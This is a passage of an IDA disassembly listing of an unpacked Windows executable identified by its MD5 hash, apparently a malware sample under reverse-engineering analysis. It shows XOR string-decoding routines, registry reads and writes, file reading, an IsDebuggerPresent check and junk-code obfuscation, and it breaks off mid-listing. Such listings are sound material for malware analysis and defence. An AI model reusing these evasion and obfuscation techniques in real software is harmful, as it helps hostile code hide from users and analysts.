; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : 4706BC3A5E5626148CBA3E2CF4491BF8 ; File Name : u:\work\4706bc3a5e5626148cba3e2cf4491bf8_unpacked.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 400000 ; Section 1. (virtual address 00001000) ; Virtual size : 0000C000 ( 49152.) ; Section size in file : 0000C000 ( 49152.) ; Offset to raw data for section: 00001000 ; Flags C0000040: Data Readable Writable ; Alignment : default unicode macro page,string,zero irpc c,<string> db '&c', page endm ifnb <zero> dw zero endif endm .686p .mmx .model flat ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write _text segment para public 'DATA' use32 assume cs:_text ;org 401000h assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing ; =============== S U B R O U T I N E ======================================= sub_401000 proc near ; DATA XREF: sub_401020+Ao ; sub_43EFE5+Ao arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_C = dword ptr 10h xor eax, eax inc eax mov ecx, [esp+arg_0] test dword ptr [ecx+4], 6 jz short locret_40101F mov eax, [esp+arg_4] mov edx, [esp+arg_C] mov [edx], eax mov eax, 3 locret_40101F: ; CODE XREF: sub_401000+Ej retn sub_401000 endp ; =============== S U B R O U T I N E ======================================= sub_401020 proc near ; CODE XREF: sub_40109A+BEp ; sub_40109A+ECp var_14 = dword ptr -14h arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi push edi mov eax, [esp+0Ch+arg_0] push eax push 0FFFFFFFEh push offset sub_401000 push large dword ptr fs:0 mov large fs:0, esp loc_40103D: ; CODE XREF: sub_401020+44j ; sub_401020+4Aj mov eax, [esp+1Ch+arg_0] mov ebx, [eax+8] mov esi, [eax+0Ch] cmp esi, 0FFFFFFFFh jz short loc_40106C cmp esi, [esp+1Ch+arg_4] jz short loc_40106C lea esi, [esi+esi*2] mov ecx, [ebx+esi*4] mov ecx, [esp+1Ch+var_14] mov ecx, [eax+0Ch] cmp dword ptr [ebx+esi*4+4], 0 jnz short loc_40103D call dword ptr [ebx+esi*4+8] jmp short loc_40103D ; --------------------------------------------------------------------------- loc_40106C: ; CODE XREF: sub_401020+2Aj ; sub_401020+30j pop large dword ptr fs:0 add esp, 0Ch pop edi pop esi pop ebx retn sub_401020 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40107A proc near ; CODE XREF: sub_40109A+B1p arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx push esi push edi push ebp push 0 push 0 push offset sub_401092 push [ebp+arg_0] call sub_40C638 ; RtlUnwind sub_40107A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_401092 proc near ; DATA XREF: sub_40107A+Bo ; sub_43F03F+Bo pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_401092 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40109A proc near ; DATA XREF: sub_401219+10o ; sub_407F34+Ao ... var_14 = dword ptr -14h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h cld push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi push ebp mov ebx, [ebp+arg_4] mov eax, [ebp+arg_0] mov dword_43C08C, eax mov dword_43C090, ebx test dword ptr [eax+4], 6 jnz loc_40117F mov [ebp+var_8], eax mov eax, [ebp+arg_8] mov [ebp+var_4], eax mov dword_43C090, eax lea eax, [ebp+var_8] mov [ebx-4], eax mov esi, [ebx+0Ch] mov edi, [ebx+8] loc_4010DD: ; CODE XREF: sub_40109A+DCj cmp esi, 0FFFFFFFFh jz loc_40118E lea ecx, [esi+esi*2] cmp dword ptr [edi+ecx*4+4], 0 jz short loc_40116D push esi push ebp lea ebp, [ebx+10h] mov eax, [ebp+var_14] mov eax, [eax] mov eax, [eax] mov dword_43C030, eax mov edx, [ebp+var_14] mov eax, [edx] mov dword_43C034, eax mov eax, [edx+4] mov dword_43C038, eax push esi push edi push ecx mov ecx, 14h lea edi, dword_43C03C mov esi, dword_43C034 rep movsd lea edi, dword_43C03C mov dword_43C034, edi pop ecx pop edi pop esi call dword ptr [edi+ecx*4+4] pop ebp pop esi mov ebx, [ebp+arg_4] or eax, eax jz short loc_40116D js short loc_40117B mov edi, [ebx+8] push ebx call sub_40107A add esp, 4 lea ebp, [ebx+10h] push esi push ebx call sub_401020 add esp, 8 lea ecx, [esi+esi*2] mov eax, [edi+ecx*4] mov eax, [ebx+0Ch] call dword ptr [edi+ecx*4+8] loc_40116D: ; CODE XREF: sub_40109A+54j ; sub_40109A+A9j mov edi, [ebx+8] lea ecx, [esi+esi*2] mov esi, [edi+ecx*4] jmp loc_4010DD ; --------------------------------------------------------------------------- loc_40117B: ; CODE XREF: sub_40109A+ABj xor eax, eax jmp short loc_4011F0 ; --------------------------------------------------------------------------- loc_40117F: ; CODE XREF: sub_40109A+23j push ebp lea ebp, [ebx+10h] push 0FFFFFFFFh push ebx call sub_401020 add esp, 0Ch loc_40118E: ; CODE XREF: sub_40109A+46j push 0 mov dword_43C010, 0Bh push 0Bh call sub_40C9C8 add esp, 8 or eax, eax jnz short loc_4011C9 push 0 mov dword_43C010, 8 push 8 call sub_40C9C8 add esp, 8 or eax, eax jnz short loc_4011C9 mov eax, 1 jmp short loc_4011F0 ; --------------------------------------------------------------------------- loc_4011C9: ; CODE XREF: sub_40109A+10Cj ; sub_40109A+126j cmp eax, 0FFFFFFFFh jz short loc_4011F8 push eax push dword_43C010 call sub_40C9C8 add esp, 8 push dword_43C010 call sub_40C9B0 add esp, 4 mov eax, 1 loc_4011F0: ; CODE XREF: sub_40109A+E3j ; sub_40109A+12Dj ... pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- loc_4011F8: ; CODE XREF: sub_40109A+132j cmp dword_43C02C, 0 jnz short loc_401208 mov eax, 1 jmp short loc_4011F0 ; --------------------------------------------------------------------------- loc_401208: ; CODE XREF: sub_40109A+165j mov eax, dword_43C02C push 0Bh jmp eax sub_40109A endp ; --------------------------------------------------------------------------- pop eax mov eax, 1 jmp short loc_4011F0 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401219 proc near ; CODE XREF: start+500j ; DATA XREF: start:loc_44A4FCo var_30 = word ptr -30h var_18 = dword ptr -18h var_4 = dword ptr -4 mov eax, large fs:0 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_43C01C push offset sub_40109A push eax mov large fs:0, esp sub esp, 10h push ebx push esi push edi mov [ebp+var_18], esp push eax fnstcw [esp+30h+var_30] or [esp+30h+var_30], 300h fldcw [esp+30h+var_30] add esp, 4 push 0 push 0 push offset dword_43C028 push offset dword_43C024 push offset dword_43C020 call sub_40C950 push dword_43C028 push dword_43C024 push dword_43C020 mov dword_43C014, esp call sub_40C3D8 add esp, 18h xor ecx, ecx mov [ebp+var_4], ecx push eax call sub_40C980 leave retn sub_401219 endp ; --------------------------------------------------------------------------- mov large fs:0, eax retn ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40129C proc near ; CODE XREF: sub_408EFF+18p ; sub_408EFF+34p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi push edi mov esi, [ebp+arg_4] push esi push [ebp+arg_0] mov eax, dword_43C09C lea eax, ds:41B780h[eax] push eax call sub_40C998 add esp, 0Ch xor edi, edi jmp short loc_4012D8 ; --------------------------------------------------------------------------- loc_4012C1: ; CODE XREF: sub_40129C+3Ej mov eax, dword_43C09C add eax, edi lea eax, ds:41B780h[eax] movsx edx, byte ptr [eax] xor edx, 5 mov [eax], dl inc edi loc_4012D8: ; CODE XREF: sub_40129C+23j cmp edi, esi jl short loc_4012C1 mov eax, dword_43C09C add eax, esi mov byte ptr ds:dword_41B780[eax], 0 xor edi, edi mov edi, dword_43C09C add dword_43C09C, 3 mov eax, dword_43C09C lea eax, [eax+esi+1] mov dword_43C09C, eax cmp eax, 0DB1h jle short loc_401316 and dword_43C09C, 0 loc_401316: ; CODE XREF: sub_40129C+71j lea eax, dword_41B780[edi] pop edi pop esi pop ebp retn sub_40129C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401320 proc near ; CODE XREF: sub_40815F+13Ap var_14C1B = byte ptr -14C1Bh var_14C14 = dword ptr -14C14h var_14C0D = byte ptr -14C0Dh var_5 = byte ptr -5 var_4 = dword ptr -4 push ebp mov ebp, esp mov eax, 14C1Ch call sub_40C43C push ebx push esi push edi call sub_40C548 ; GetTickCount lea edi, [ebp+var_14C1B] lea esi, aLImn ; "l iMn " mov ecx, 7 rep movsb call sub_40C548 ; GetTickCount push 0 push 0 push 3 push 0 push 0 push 80000000h push offset dword_40F0A0 call sub_40C650 ; CreateFileA mov [ebp+var_4], eax mov [ebp+var_5], 0Eh add [ebp+var_5], 1 cmp eax, 0FFFFFFFFh jnz short loc_40137A xor eax, eax jmp short loc_4013E5 ; --------------------------------------------------------------------------- loc_40137A: ; CODE XREF: sub_401320+54j push 0 lea eax, [ebp+var_14C14] push eax push 14C08h lea eax, [ebp+var_14C0D] push eax push [ebp+var_4] call sub_40C62C ; ReadFile push [ebp+var_4] call sub_40C530 ; CloseHandle call sub_40C554 ; GetVersion xor ebx, ebx loc_4013A6: ; CODE XREF: sub_401320+C1j mov eax, 10h sub eax, dword_43C098 push eax push offset byte_433F40 lea eax, [ebp+ebx+var_14C0D] push eax call sub_4017D2 add esp, 0Ch cmp eax, 0FFFFh jz short loc_4013D3 xor eax, eax inc eax jmp short loc_4013E5 ; --------------------------------------------------------------------------- loc_4013D3: ; CODE XREF: sub_401320+ACj call sub_40C4E8 ; RtlGetLastWin32Error add ebx, 11h cmp ebx, [ebp+var_14C14] jb short loc_4013A6 xor eax, eax loc_4013E5: ; CODE XREF: sub_401320+58j ; sub_401320+B1j pop edi pop esi pop ebx leave retn sub_401320 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 10h push esi push edi mov esi, [ebp+0Ch] mov dword ptr [ebp-4], 26h push esi push dword ptr [ebp+8] mov eax, dword_43C23C lea eax, ds:41A780h[eax] push eax call sub_40C998 add esp, 0Ch mov dword ptr [ebp-8], 207h xor edi, edi jmp short loc_401437 ; --------------------------------------------------------------------------- loc_401420: ; CODE XREF: .text:00401439j mov eax, dword_43C23C add eax, edi lea eax, ds:41A780h[eax] movsx edx, byte ptr [eax] xor edx, 62h mov [eax], dl inc edi loc_401437: ; CODE XREF: .text:0040141Ej cmp edi, esi jl short loc_401420 mov dword ptr [ebp-0Ch], 294h mov eax, dword_43C23C add eax, esi mov byte ptr ds:dword_41A780[eax], 0 xor edi, edi mov edi, dword_43C23C mov eax, edi add eax, 6 add eax, esi mov dword_43C23C, eax add dword_43C23C, 2 cmp dword_43C23C, 0DFCh jle short loc_40147F and dword_43C23C, 0 loc_40147F: ; CODE XREF: .text:00401476j mov dword ptr [ebp-10h], 158h lea eax, dword_41A780[edi] pop edi pop esi leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401490 proc near ; CODE XREF: sub_4062A9+D0p ; sub_408C55+80p ... var_8 = word ptr -8 var_5 = byte ptr -5 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp push ecx push eax push esi push edi call sub_40C4B8 ; GetCurrentProcessId call sub_40C4E8 ; RtlGetLastWin32Error lea eax, [ebp+var_4] push eax push 20019h push 0 push [ebp+arg_4] push [ebp+arg_0] call sub_40C8D8 ; RegOpenKeyExA mov esi, eax mov [ebp+var_5], 0D6h add [ebp+var_5], 1 or esi, esi jz short loc_4014C9 xor eax, eax jmp short loc_40150B ; --------------------------------------------------------------------------- loc_4014C9: ; CODE XREF: sub_401490+33j push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_14] push 0 push [ebp+arg_8] push [ebp+var_4] call sub_40C8E4 ; RegQueryValueExA mov esi, eax mov edi, 731Ah mov eax, edi add eax, edi mov edi, eax push [ebp+var_4] call sub_40C8CC ; RegCloseKey or esi, esi jz short loc_4014FC xor eax, eax jmp short loc_40150B ; --------------------------------------------------------------------------- loc_4014FC: ; CODE XREF: sub_401490+66j mov [ebp+var_8], 4744h add [ebp+var_8], 0F28h xor eax, eax inc eax loc_40150B: ; CODE XREF: sub_401490+37j ; sub_401490+6Aj pop edi pop esi leave retn sub_401490 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push eax push esi push edi mov esi, [ebp+0Ch] mov dword ptr [ebp-4], 45h push esi push dword ptr [ebp+8] mov eax, dword_43C248 lea eax, ds:4350C0h[eax] push eax call sub_40C998 add esp, 0Ch mov dword ptr [ebp-8], 230h xor edi, edi jmp short loc_40155E ; --------------------------------------------------------------------------- loc_401544: ; CODE XREF: .text:00401560j mov eax, dword_43C248 add eax, edi lea eax, ds:4350C0h[eax] movsx edx, byte ptr [eax] xor edx, 9Dh mov [eax], dl inc edi loc_40155E: ; CODE XREF: .text:00401542j cmp edi, esi jl short loc_401544 mov eax, dword_43C248 add eax, esi mov byte ptr ds:dword_4350C0[eax], 0 mov edi, dword_43C248 add dword_43C248, 2 mov eax, dword_43C248 add eax, 3 add eax, esi mov dword_43C248, eax inc dword_43C248 cmp dword_43C248, 0DF4h jle short loc_4015A6 and dword_43C248, 0 loc_4015A6: ; CODE XREF: .text:0040159Dj lea eax, dword_4350C0[edi] pop edi pop esi leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4015B0 proc near ; CODE XREF: sub_405F5E+98p ; sub_405F5E+C6p ... var_10 = dword ptr -10h var_9 = byte ptr -9 var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 10h push edi mov [ebp+var_1], 82h add [ebp+var_1], 1 call sub_40C4B8 ; GetCurrentProcessId lea eax, [ebp+var_10] push eax lea eax, [ebp+var_8] push eax push 0 push 0F003Fh push 0 push 0 push 0 push [ebp+arg_4] push [ebp+arg_0] call sub_40C8C0 ; RegCreateKeyExA mov edi, eax or edi, edi jz short loc_4015EE xor eax, eax jmp short loc_40163D ; --------------------------------------------------------------------------- loc_4015EE: ; CODE XREF: sub_4015B0+38j call sub_40C4B8 ; GetCurrentProcessId push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_14] push 0 push [ebp+arg_8] push [ebp+var_8] call sub_40C8F0 ; RegSetValueExA mov edi, eax call sub_40C518 ; GetProcessHeap push [ebp+var_8] call sub_40C8CC ; RegCloseKey or edi, edi jz short loc_401620 xor eax, eax jmp short loc_40163D ; --------------------------------------------------------------------------- loc_401620: ; CODE XREF: sub_4015B0+6Aj mov [ebp+var_9], 58h add [ebp+var_9], 1 cmp [ebp+var_10], 1 jnz short loc_401635 mov eax, 2 jmp short loc_40163D ; --------------------------------------------------------------------------- loc_401635: ; CODE XREF: sub_4015B0+7Cj call sub_40C4E8 ; RtlGetLastWin32Error xor eax, eax inc eax loc_40163D: ; CODE XREF: sub_4015B0+3Cj ; sub_4015B0+6Ej ... pop edi leave retn sub_4015B0 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push esi push edi mov esi, [ebp+0Ch] mov dword ptr [ebp-4], 0FBh push esi push dword ptr [ebp+8] mov eax, dword_43C254 lea eax, ds:438260h[eax] push eax call sub_40C998 add esp, 0Ch xor edi, edi jmp short loc_401687 ; --------------------------------------------------------------------------- loc_40166D: ; CODE XREF: .text:00401689j mov eax, dword_43C254 add eax, edi lea eax, ds:438260h[eax] movsx edx, byte ptr [eax] xor edx, 0C0h mov [eax], dl inc edi loc_401687: ; CODE XREF: .text:0040166Bj cmp edi, esi jl short loc_40166D mov eax, dword_43C254 add eax, esi mov byte ptr ds:dword_438260[eax], 0 xor edi, edi mov edi, dword_43C254 mov eax, edi add eax, 6 add eax, esi mov dword_43C254, eax add dword_43C254, 3 cmp dword_43C254, 0DB0h jle short loc_4016C8 and dword_43C254, 0 loc_4016C8: ; CODE XREF: .text:004016BFj lea eax, dword_438260[edi] pop edi pop esi leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4016D2 proc near ; CODE XREF: sub_405636+145p ; sub_409883+8Dp ... var_2 = word ptr -2 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi push edi mov ebx, [ebp+arg_0] call sub_40C4E8 ; RtlGetLastWin32Error mov [ebp+var_2], 0B1Ah movzx eax, [ebp+var_2] mov edx, eax add edx, eax mov eax, edx mov [ebp+var_2], ax xor esi, esi jmp short loc_40171E ; --------------------------------------------------------------------------- loc_4016F9: ; CODE XREF: sub_4016D2+4Fj call sub_40C9BC mov edx, 10624DD3h push ecx mov ecx, eax imul edx sar edx, 7 sar ecx, 1Fh sub edx, ecx mov eax, edx pop ecx mov edi, eax add edi, 61h mov edx, edi mov [ebx+esi], dl inc esi loc_40171E: ; CODE XREF: sub_4016D2+25j cmp esi, [ebp+arg_4] jl short loc_4016F9 mov eax, [ebp+arg_4] mov byte ptr [ebx+eax], 0 mov eax, ebx pop edi pop esi pop ebx leave retn sub_4016D2 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push eax push esi push edi mov esi, [ebp+0Ch] mov dword ptr [ebp-4], 202h push esi push dword ptr [ebp+8] mov eax, dword_43C260 lea eax, ds:42FC90h[eax] push eax call sub_40C998 add esp, 0Ch mov dword ptr [ebp-8], 3ADh xor edi, edi jmp short loc_401780 ; --------------------------------------------------------------------------- loc_401766: ; CODE XREF: .text:00401782j mov eax, dword_43C260 add eax, edi lea eax, ds:42FC90h[eax] movsx edx, byte ptr [eax] xor edx, 0FDh mov [eax], dl inc edi loc_401780: ; CODE XREF: .text:00401764j cmp edi, esi jl short loc_401766 mov eax, dword_43C260 add eax, esi mov byte ptr ds:dword_42FC90[eax], 0 mov edi, dword_43C260 add dword_43C260, 2 mov eax, dword_43C260 lea eax, [eax+esi+3] mov dword_43C260, eax add dword_43C260, 3 cmp dword_43C260, 0E05h jle short loc_4017C8 and dword_43C260, 0 loc_4017C8: ; CODE XREF: .text:004017BFj lea eax, dword_42FC90[edi] pop edi pop esi leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4017D2 proc near ; CODE XREF: sub_401320+9Fp ; sub_40538B+61p ... var_19 = dword ptr -19h var_15 = byte ptr -15h var_14 = byte ptr -14h var_F = byte ptr -0Fh var_E = word ptr -0Eh var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 1Ch push ebx push esi push edi mov [ebp+var_E], 5D42h movzx eax, [ebp+var_E] imul eax, 1E96h mov [ebp+var_E], ax and [ebp+var_C], 0 call sub_40C548 ; GetTickCount and [ebp+var_8], 0 jmp loc_4018A2 ; --------------------------------------------------------------------------- loc_401801: ; CODE XREF: sub_4017D2+E2j lea edi, [ebp+var_F] lea esi, byte_43C264 xor ecx, ecx inc ecx rep movsb and [ebp+var_4], 0 xor ebx, ebx jmp short loc_401888 ; --------------------------------------------------------------------------- loc_401817: ; CODE XREF: sub_4017D2+C7j call sub_40C4E8 ; RtlGetLastWin32Error mov eax, [ebp+var_8] add eax, ebx mov edx, [ebp+arg_0] movsx eax, byte ptr [edx+eax] mov edx, [ebp+arg_4] movsx edx, byte ptr [edx+ebx] cmp eax, edx jnz short loc_401836 inc [ebp+var_4] loc_401836: ; CODE XREF: sub_4017D2+5Fj call sub_40C518 ; GetProcessHeap mov eax, [ebp+arg_4] mov ecx, eax or eax, 0FFFFFFFFh loc_401843: ; CODE XREF: sub_4017D2+76j inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_401843 cmp [ebp+var_4], eax jnz short loc_401887 lea edi, [ebp+var_14] lea esi, aDJy ; "D Jy" mov ecx, 5 rep movsb inc [ebp+var_C] lea edi, [ebp+var_15] lea esi, byte_43C26A mov ecx, 1 rep movsb mov eax, [ebp+arg_8] cmp [ebp+var_C], eax jnz short loc_40187F mov eax, [ebp+var_8] jmp short loc_4018BF ; --------------------------------------------------------------------------- loc_40187F: ; CODE XREF: sub_4017D2+A6j mov eax, dword_43C26B mov [ebp+var_19], eax loc_401887: ; CODE XREF: sub_4017D2+7Bj inc ebx loc_401888: ; CODE XREF: sub_4017D2+43j mov eax, [ebp+arg_4] mov ecx, eax or eax, 0FFFFFFFFh loc_401890: ; CODE XREF: sub_4017D2+C3j inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_401890 cmp ebx, eax jb loc_401817 inc [ebp+var_8] loc_4018A2: ; CODE XREF: sub_4017D2+2Aj mov eax, [ebp+arg_0] mov ecx, eax or eax, 0FFFFFFFFh loc_4018AA: ; CODE XREF: sub_4017D2+DDj inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_4018AA cmp [ebp+var_8], eax jb loc_401801 mov eax, 0FFFFh loc_4018BF: ; CODE XREF: sub_4017D2+ABj pop edi pop esi pop ebx leave retn sub_4017D2 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push esi push edi mov esi, [ebp+0Ch] mov dword ptr [ebp-4], 0FBh push esi push dword ptr [ebp+8] mov eax, dword_43C278 lea eax, ds:416550h[eax] push eax call sub_40C998 add esp, 0Ch xor edi, edi jmp short loc_40190B ; --------------------------------------------------------------------------- loc_4018F1: ; CODE XREF: .text:0040190Dj mov eax, dword_43C278 add eax, edi lea eax, ds:416550h[eax] movsx edx, byte ptr [eax] xor edx, 0C0h mov [eax], dl inc edi loc_40190B: ; CODE XREF: .text:004018EFj cmp edi, esi jl short loc_4018F1 mov eax, dword_43C278 add eax, esi mov byte ptr ds:dword_416550[eax], 0 xor edi, edi mov edi, dword_43C278 mov eax, edi add eax, 6 add eax, esi mov dword_43C278, eax add dword_43C278, 3 cmp dword_43C278, 0DB0h jle short loc_40194C and dword_43C278, 0 loc_40194C: ; CODE XREF: .text:00401943j lea eax, dword_416550[edi] pop edi pop esi leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push ebx push esi push edi mov esi, [ebp+10h] mov ebx, [ebp+14h] call sub_40C4E8 ; RtlGetLastWin32Error mov word ptr [ebp-2], 0B1Ah movzx eax, word ptr [ebp-2] mov edx, eax add edx, eax mov eax, edx mov [ebp-2], ax mov edi, esi jmp short loc_40199C ; --------------------------------------------------------------------------- loc_401980: ; CODE XREF: .text:0040199Ej mov eax, [ebp+8] movsx eax, byte ptr [eax+edi] mov edx, edi sub edx, esi mov ecx, [ebp+0Ch] movsx edx, byte ptr [ecx+edx] cmp eax, edx jz short loc_40199B xor eax, eax inc eax jmp short loc_4019A2 ; --------------------------------------------------------------------------- loc_40199B: ; CODE XREF: .text:00401994j inc edi loc_40199C: ; CODE XREF: .text:0040197Ej cmp edi, ebx jl short loc_401980 xor eax, eax loc_4019A2: ; CODE XREF: .text:00401999j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 0Ch push esi push edi mov esi, [ebp+0Ch] mov dword ptr [ebp-4], 5Bh push esi push dword ptr [ebp+8] mov eax, dword_43C284 lea eax, ds:434040h[eax] push eax call sub_40C998 add esp, 0Ch xor edi, edi jmp short loc_4019F0 ; --------------------------------------------------------------------------- loc_4019D6: ; CODE XREF: .text:004019F2j mov eax, dword_43C284 add eax, edi lea eax, ds:434040h[eax] movsx edx, byte ptr [eax] xor edx, 0A3h mov [eax], dl inc edi loc_4019F0: ; CODE XREF: .text:004019D4j cmp edi, esi jl short loc_4019D6 mov dword ptr [ebp-8], 3ABh mov eax, dword_43C284 add eax, esi mov byte ptr ds:dword_434040[eax], 0 mov edi, dword_43C284 inc dword_43C284 mov eax, dword_43C284 lea eax, [eax+esi+2] mov dword_43C284, eax cmp eax, 0DDFh jle short loc_401A32 and dword_43C284, 0 loc_401A32: ; CODE XREF: .text:00401A29j mov dword ptr [ebp-0Ch], 2C2h lea eax, dword_434040[edi] pop edi pop esi leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401A43 proc near ; CODE XREF: sub_405636+45p ; sub_4062A9+458p ... var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push eax push ebx push esi push edi call sub_40C518 ; GetProcessHeap push 0 push 80h push 3 push 0 push 3 push 80000000h push [ebp+arg_0] call sub_40C650 ; CreateFileA mov edi, eax mov esi, 3784h add esi, 109Bh cmp edi, 0FFFFFFFFh jnz short loc_401AA2 mov [ebp+var_8], 6F30h mov eax, [ebp+var_8] mov edx, eax add edx, eax mov [ebp+var_8], edx cmp [ebp+arg_4], 0 jz short loc_401A99 mov eax, [ebp+arg_4] and dword ptr [eax], 0 loc_401A99: ; CODE XREF: sub_401A43+4Ej call sub_40C4B8 ; GetCurrentProcessId xor eax, eax jmp short loc_401AF1 ; --------------------------------------------------------------------------- loc_401AA2: ; CODE XREF: sub_401A43+37j push 0 push edi call sub_40C4D0 ; GetFileSize mov ebx, eax add eax, 10h push eax push 40h call sub_40C5FC ; LocalAlloc mov esi, eax call sub_40C4B8 ; GetCurrentProcessId push 0 cmp [ebp+arg_4], 0 jz short loc_401ACE mov eax, [ebp+arg_4] mov [ebp+var_8], eax jmp short loc_401AD4 ; --------------------------------------------------------------------------- loc_401ACE: ; CODE XREF: sub_401A43+81j lea eax, [ebp+var_4] mov [ebp+var_8], eax loc_401AD4: ; CODE XREF: sub_401A43+89j push [ebp+var_8] push ebx push esi push edi call sub_40C62C ; ReadFile call sub_40C5D8 ; IsDebuggerPresent push edi call sub_40C530 ; CloseHandle call sub_40C518 ; GetProcessHeap mov eax, esi loc_401AF1: ; CODE XREF: sub_401A43+5Dj pop edi pop esi pop ebx leave retn sub_401A43 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push esi push edi mov esi, [ebp+0Ch] mov dword ptr [ebp-4], 163h push esi push dword ptr [ebp+8] mov eax, dword_43C290 lea eax, ds:410640h[eax] push eax call sub_40C998 add esp, 0Ch xor edi, edi jmp short loc_401B3D ; --------------------------------------------------------------------------- loc_401B23: ; CODE XREF: .text:00401B3Fj mov eax, dword_43C290 add eax, edi lea eax, ds:410640h[eax] movsx edx, byte ptr [eax] xor edx, 0E0h mov [eax], dl inc edi loc_401B3D: ; CODE XREF: .text:00401B21j cmp edi, esi jl short loc_401B23 mov eax, dword_43C290 add eax, esi mov byte ptr ds:dword_410640[eax], 0 mov edi, dword_43C290 add dword_43C290, 2 mov eax, dword_43C290 lea eax, [eax+esi+6] mov dword_43C290, eax cmp eax, 0DF7h jle short loc_401B79 and dword_43C290, 0 loc_401B79: ; CODE XREF: .text:00401B70j lea eax, dword_410640[edi] pop edi pop esi leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401B83 proc near ; CODE XREF: sub_405636+675p ; sub_409883+D17p var_10 = byte ptr -10h var_D = byte ptr -0Dh var_A = word ptr -0Ah var_8 = byte ptr -8 var_5 = byte ptr -5 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 10h push ebx push esi push edi lea edi, [ebp+var_5] lea esi, aGxK ; "gx%K" mov ecx, 5 rep movsb lea edi, [ebp+var_8] lea esi, aJv ; "jV" mov ecx, 3 rep movsb mov ebx, [ebp+arg_4] jmp short loc_401C07 ; --------------------------------------------------------------------------- loc_401BB1: ; CODE XREF: sub_401B83+8Bj mov eax, [ebp+arg_0] cmp byte ptr [eax+ebx], 0Dh jnz short loc_401C06 lea edi, [ebp+var_D] lea esi, aLkw ; "'lkW" mov ecx, 5 rep movsb mov eax, [ebp+arg_4] mov edx, ebx sub edx, eax push edx mov edx, [ebp+arg_0] add edx, eax push edx push [ebp+arg_8] call sub_40C998 add esp, 0Ch lea edi, [ebp+var_10] lea esi, asc_43C2A1 ; ":|" mov ecx, 3 rep movsb mov eax, ebx sub eax, [ebp+arg_4] mov edx, [ebp+arg_8] mov byte ptr [edx+eax], 0 mov eax, ebx add eax, 2 jmp short loc_401C7E ; --------------------------------------------------------------------------- loc_401C06: ; CODE XREF: sub_401B83+35j inc ebx loc_401C07: ; CODE XREF: sub_401B83+2Cj mov eax, [ebp+arg_0] cmp byte ptr [eax+ebx], 0 jnz short loc_401BB1 cmp [ebp+arg_4], 0 jz short loc_401C41 mov eax, [ebp+arg_0] cmp byte ptr [eax+ebx], 0 jnz short loc_401C41 mov eax, ebx dec eax mov edx, [ebp+arg_0] cmp byte ptr [edx+eax], 0Ah jnz short loc_401C41 mov ax, word_43C2A4 mov [ebp+var_A], ax mov eax, [ebp+arg_8] mov byte ptr [eax], 0 mov eax, [ebp+arg_4] inc eax jmp short loc_401C7E ; --------------------------------------------------------------------------- loc_401C41: 